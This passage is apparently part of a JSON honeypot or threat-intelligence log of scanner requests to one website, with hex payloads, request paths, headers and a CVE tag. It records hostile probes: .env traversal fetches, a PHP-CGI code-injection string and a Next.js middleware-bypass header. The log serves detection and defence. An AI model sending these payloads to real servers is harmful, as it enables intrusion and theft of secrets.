a7365632d63682d75612d6d6f62696c653a203f300d0a7365632d63682d75612d706c6174666f726d3a202257696e646f7773220d0a7365632d66657463682d646573743a20646f63756d656e740d0a7365632d66657463682d6d6f64653a206e617669676174650d0a7365632d66657463682d736974653a206e6f6e650d0a43462d4950436f756e7472793a204e4c0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","ja3":"67560f98d68783bd640246df3052c151","session":"ab4794fb-ba25-414d-ab97-f11db1aac32a","seq":1,"duration_ms":101,"bytes_in":1043,"bytes_out":79},{"timestamp":"2026-10-14T11:01:53","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"site.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, br\",\"cdn-loop\":\"cloudflare; loops=1\",\"cf-connecting-ip\":\"34.90.255.204\",\"cf-ipcountry\":\"NL\",\"cf-ray\":\"a4a616b29a6ad380-FRA\",\"cf-visitor\":\"{\\\"scheme\\\":\\\"https\\\"}\",\"connection\":\"Keep-Alive\",\"host\":\"site.princhub.com\",\"user-agent\":\"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)\",\"x-forwarded-for\":\"34.90.255.204\",\"x-forwarded-proto\":\"https\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"site.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/images../.env","summary":"","payload_hex":"474554202f696d616765732e2e2f2e656e7620485454502f312e310d0a782d666f727761726465642d666f723a2033342e39302e3235352e3230340d0a6163636570742d656e636f64696e673a20677a69702c2062720d0a6163636570743a202a2f2a0d0a757365722d6167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b204d6574612d45787465726e616c466574636865722f312e303b202b68747470733a2f2f646576656c6f706572732e66616365626f6f6b2e636f6d2f646f63732f73686172696e672f7765626d6173746572732f637261776c6572290d0a782d6e6578746a732d646174613a20310d0a63662d7261793a20613461363136623239613661643338302d4652410d0a782d6d6964646c65776172652d737562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a63646e2d6c6f6f703a20636c6f7564666c6172653b206c6f6f70733d310d0a43462d436f6e6e656374696e672d49503a2033342e39302e3235352e3230340d0a43462d4950436f756e7472793a204e4c0d0a43462d56697369746f723a207b22736368656d65223a226874747073227d0d0a582d466f727761726465642d50726f746f3a2068747470730d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a486f73743a20736974652e7072696e636875622e636f6d0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; Meta-ExternalFetcher/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)","ja3":"67560f98d68783bd640246df3052c151","session":"84f88996-2913-41bd-8865-d0d78ea124d2","seq":1,"duration_ms":100,"bytes_in":656,"bytes_out":79}],"http_methods":[{"method":"GET","count":10},{"method":"POST","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/","count":1,"ports":1},{"path":"/%2eenv","count":1,"ports":1},{"path":"/%2Fadmin","count":1,"ports":1},{"path":"/.env.mail","count":1,"ports":1},{"path":"/assets../.env","count":1,"ports":1},{"path":"/read-document","count":1,"ports":1},{"path":"/images../.env","count":1,"ports":1},{"path":"/public../.env","count":1,"ports":1},{"path":"/.dockerenv","count":1,"ports":1},{"path":"/3ew5egiqll673ccft9fh","count":1,"ports":1},{"path":"/....//....//....//..../.env","count":1,"ports":1},{"path":"/cgi-bin/php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1}],"distinct_paths_total":12,"top_snis":[{"value":"site.princhub.com","count":12}],"top_hosts":[{"value":"site.princhub.com","count":12}],"top_alpns":[{"value":"h2, http/1.1","count":12}],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Accept-Language","Cdn-Loop","Cf-Connecting-Ip","Cf-Ew-Via","Cf-Ipcountry","Cf-Ray","Cf-Visitor","Connection","Host","Priority","Sec-Ch-Ua","Sec-Ch-Ua-Mobile","Sec-Ch-Ua-Platform","Sec-Fetch-Dest","Sec-Fetch-Mode","Sec-Fetch-Site","Sec-Fetch-User","Upgrade-Insecure-Requests","User-Agent","X-Forwarded-For","X-Forwarded-Proto","X-Middleware-Subrequest"],"representative":[{"name":"Accept","value":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8","notable":false},{"name":"Accept-Encoding","value":"gzip, br","notable":false},{"name":"Accept-Language","value":"en-US,en;q=0.9","notable":false},{"name":"Cdn-Loop","value":"cloudflare; loops=1; subreqs=1","notable":false},{"name":"Cf-Connecting-Ip","value":"34.90.255.204","notable":false},{"name":"Cf-Ew-Via","value":"15","notable":false},{"name":"Cf-Ipcountry","value":"NL","notable":false},{"name":"Cf-Ray","value":"a4a616aebac0d36c-FRA","notable":false},{"name":"Cf-Visitor","value":"{\"scheme\":\"https\"}","notable":false},{"name":"Connection","value":"Keep-Alive","notable":false},{"name":"Host","value":"site.princhub.com","notable":false},{"name":"Priority","value":"u=0, i","notable":false},{"name":"Sec-Ch-Ua","value":"\"Chromium\";v=\"153\", \"Brave\";v=\"153\", \"Not_A Brand\";v=\"8\"","notable":false},{"name":"Sec-Ch-Ua-Mobile","value":"?0","notable":false},{"name":"Sec-Ch-Ua-Platform","value":"\"Windows\"","notable":false},{"name":"Sec-Fetch-Dest","value":"document","notable":false},{"name":"Sec-Fetch-Mode","value":"navigate","notable":false},{"name":"Sec-Fetch-Site","value":"none","notable":false},{"name":"Sec-Fetch-User","value":"?1","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36","notable":false},{"name":"X-Forwarded-For","value":"34.90.255.204","notable":true},{"name":"X-Forwarded-Proto","value":"https","notable":true},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true},{"name":"X-Nextjs-Data","value":"1","notable":true}],"distinct_sets":3,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"],"kev_date_added":null}],"data_as_of":"2026-10-16T08:46:43.218014+00:00"}